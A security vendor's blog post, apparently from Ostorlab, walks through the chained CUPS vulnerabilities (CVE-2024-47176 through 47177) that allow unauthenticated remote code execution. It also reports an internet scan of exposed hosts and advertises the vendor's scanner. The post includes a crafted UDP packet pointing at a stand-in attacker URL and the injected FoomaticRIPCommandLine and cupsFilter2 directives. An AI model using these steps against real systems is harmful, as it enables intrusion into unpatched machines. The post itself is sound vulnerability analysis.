Security

Assessing the Large-Scale Exposure of CUPS Vulnerabilities: Chained CVEs Leading to Remote Code Execution

This article assesses the large-scale exposure of systems to multiple CVEs affecting the CUPS printing service, which can be chained together to achieve unauthenticated remote code execution (RCE). We provide an overview of how these vulnerabilities, including CVE-2024-47176, work in tandem, walking through the exploit flow. Additionally, we analyze how many systems are potentially vulnerable and highlight a unique behavior observed during testing.

Wed 16 October 2024

Introduction

The Common UNIX Printing System (CUPS) is a widely used printing system that enables networked computers to manage print jobs and printers seamlessly. Recently, researcher Simone Margaritelli conducted impressive research in which he discovered multiple CVEs that he successfully chained together to achieve unauthenticated remote code execution (RCE) on target systems. You can read more about this research in Simone Margaritelli's article.

In this article, we will break down the exploit workflow and analyze the percentage of systems vulnerable from a specific sample of targets.

Technical Details

Achieving RCE in CUPS:

This section will outline the various steps to achieve remote code execution (RCE) and explain how the different CVEs come into play.

  1. CVE-2024-47176: Starting Point: cups-browsed and the BrowseSocket:

    The attack begins with the cups-browsed service, which is responsible for discovering printers on the network and automatically adding them to the system .

    The service creates a socket, called BrowseSocket and that listens for incoming packets containing printer information on INADDR_ANY:631 UDP .

    browsesocket

    The next step is identifying where the BrowseSocket is being used. Upon investigation, the function process_browse_data comes up as the key location.

    process_browse_data() is responsible for reading a packet from the BrowseSocket. It expects the incoming data to adhere to a specific format: HEX_NUMBER HEX_NUMBER TEXT_DATA After receiving the packet, the function checks whether the source IP address is allowed to send data. This is done through the allowed() function, which verifies the IP address against the configuration file located at /etc/cups/cups-browsed.conf. This file defines which hosts are permitted to connect and send data.

    allowed.png

    Well, it turns out that while you can configure who can and can’t connect by editing the /etc/cups/cups-browsed.conf configuration file, the default configuration on most systems is entirely commented out. This means that, unless the administrator explicitly restricts access, the system is left open to connections from any IP address. As a result, the allowed() check will always succeed, leaving the system vulnerable to potential exploitation from any source.

    Once the source IP check passes, the packet is parsed, and two fields are passed to the found_cups_printer() function for further processing.

  2. CVE-2024-47076: Malicious URI Injection and Exploitation:

    One of the two fields parsed from the packet is the URI of the printer.

    found_cups_printer.png

    Tracing how this parameter is used and passed through different functions :

    Starting from found_cups_printer, the URI is passed to the examine_discovered_printer_record() function. which will pass it to create_remote_printer_entry(). This sequence of function calls eventually leads to cfGetPrinterAttributes() from the libcupsfilters library.

    cfGETPrinterAttributes.png

    The cfGetPrinterAttributes() function is responsible for making an HTTP request to the provided printer URI in order to retrieve the printer's details.

    httpconnect.png

    At this point, a malicious actor can send a specially crafted UDP packet to port 631 with a malicious URI embedded in it, such as:

    0 3 http://<ATTACKER-IP>:<PORT>/printers/whatever

    This packet will bypass the weak validation, causing cups-browsed to connect back to the attacker-controlled URL.

    interactsh.png

  3. CVE-2024-47175: Attacker's Malicious IPP Attributes and PPD File Creation:

    After the attacker's server sends a response containing crafted IPP attributes—designed to mimic the capabilities of a legitimate printer—cups-browsed processes these attributes. It does this by invoking the create_queue() function, which in turn calls the ppdCreatePPDFromIPP2() API from the libppd library. This API is responsible for creating a temporary PPD (PostScript Printer Description) file, where the received attributes are stored.

    PostScript Printer Description file is a text file provided by printer vendors that describes the full set of features and capabilities available for a specific PostScript printer. These files serve multiple functions:

    • They define how to invoke features for print jobs, including the printer's supported resolutions, paper sizes, and special functionalities (e.g., double-sided printing).
    • The PPD acts as a driver for PostScript printers by offering a standardized way for the CUPS system to interact with different printers, regardless of the manufacturer.
    • PPD also contains the PostScript code (commands) used to invoke features for the print job.

    PPD.png

    ppdCreatePPDFromIPP.png

    The ppdCreatePPDFromIPP2() function writes the attacker-controlled IPP attributes directly into the PPD file without any sanitization.

    write_to_file.png

  4. CVE-2024-47177: Exploiting the CUPS Filters:

    Now that we can set attributes that are saved in the PPD file, we can instruct CUPS to execute certain commands when processing print jobs.

    CUPS supports a variety of instructions through these attributes, one of which that can be exploited is cupsFilter2.

    A filter is an executable located in the /usr/lib/cups/filter directory. CUPS restricts the execution of filters to this directory—meaning that you can't specify just any binary. These filters are executed when a print job is sent to the printer, typically to perform document conversion if the printer doesn’t natively support the format of the document.

    Given this constraint on which binary can be executed, the goal is to exploit one of the existing filters to execute arbitrary commands.

    Exploiting the foomatic-rip Filter:

    Fortunately for attackers, one filter—foomatic-rip—was still vulnerable to an old command execution flaw CVE-2011-2964 and CVE-2011-2697. This filter accepted the FoomaticRIPCommandLine directive in the PPD file, allowing ANY command to be executed through it.

    By exploiting this vulnerability, an attacker can inject the FoomaticRIPCommandLine directive into the PPD file, which causes CUPS to execute arbitrary commands during the print job process.

    To perform the attack, the following steps are required:

    • Force the Target Machine to Connect to a Malicious IPP Server: The first step involves getting the target machine to communicate with a rogue IPP server that you control.
    • Return a Malicious IPP Attribute String:
      • Injecting a printer-privacy-policy-uri attribute with a fake policy URL like "https://www.example.com/", followed by a newline to terminate the string.
      • Adding a directive FoomaticRIPCommandLine: "COMMAND" to execute a command on the target machine.
      • Including a cupsFilter2 directive: "application/pdf application/vnd.cups-postscript 0 foomatic-rip", which ensures that when a print job is sent, it triggers the execution of the foomatic-rip filter with the injected command.
    • Trigger Execution: Once a print job is sent to the malicious printer, the injected PPD directives will be executed, allowing the attack to be completed.

Large-Scale CUPS Vulnerability Assessment: Detection and Analysis:

Before conducting our large-scale assessment, we initially aimed to fingerprint the CUPS service using its UDP port, specifically the one opened by BrowseSocket. This socket listens on INADDR_ANY:631 UDP, and we believed it would allow us to identify systems running CUPS by sending requests to this port. However, during testing—whether manually or using tools like Nmap—we failed to get a response from the CUPS server.

To investigate why we weren’t receiving any responses, we examined the CUPS source code, focusing on functions that send data back to clients. During this search, we identified the sendto function, which is used to send responses. We searched for the sendto function, which is responsible for sending responses.

sendto.png
And that it is used within the broadcast_browse_packets function, which is called by send_browse_data.
send_browse_data.png
However, we discovered that send_browse_data is called in the main function but only occurs if a specific condition is met: if (BrowseLocalProtocols & BROWSE_CUPS).
if_statement.png
Upon checking the default value of BrowseLocalProtocols, we found that it was set to none, meaning the condition is never satisfied. This explains why no response was sent to our UDP fingerprinting attempts.
browselocalprotocols.png
With UDP fingerprinting ruled out, we shifted our focus to TCP fingerprinting on port 631, which is used by the Internet Printing Protocol (IPP). We scanned a sample of IP addresses and used the PoC to check for the vulnerability. Out of the 19,968 tested IPs, 45 had IPP open on TCP/631. After running the PoC, we discovered that 42 of those systems were vulnerable. This means that approximately 0.23% of the tested IPs were running CUPS, and of those, 93.33% were at risk due to the vulnerability.

nuclei_template.png

Testing for the Vulnerability Using OXO

If you're concerned your instance might be vulnerable, follow these steps to run a test using the OXO tool:

Install OXO via pip:

pip install -U ostorlab

Install the asteroid agent from the OXO agent store:

oxo agent install agent/ostorlab/asteroid

Run the scan using the asteroid agent with the following command:

oxo scan run --agent agent/ostorlab/asteroid link --url <target-URL> --method GET

We do newsletters, too


Get the latest news, updates, and product innovations from Ostorlab right in your inbox.

Table of Contents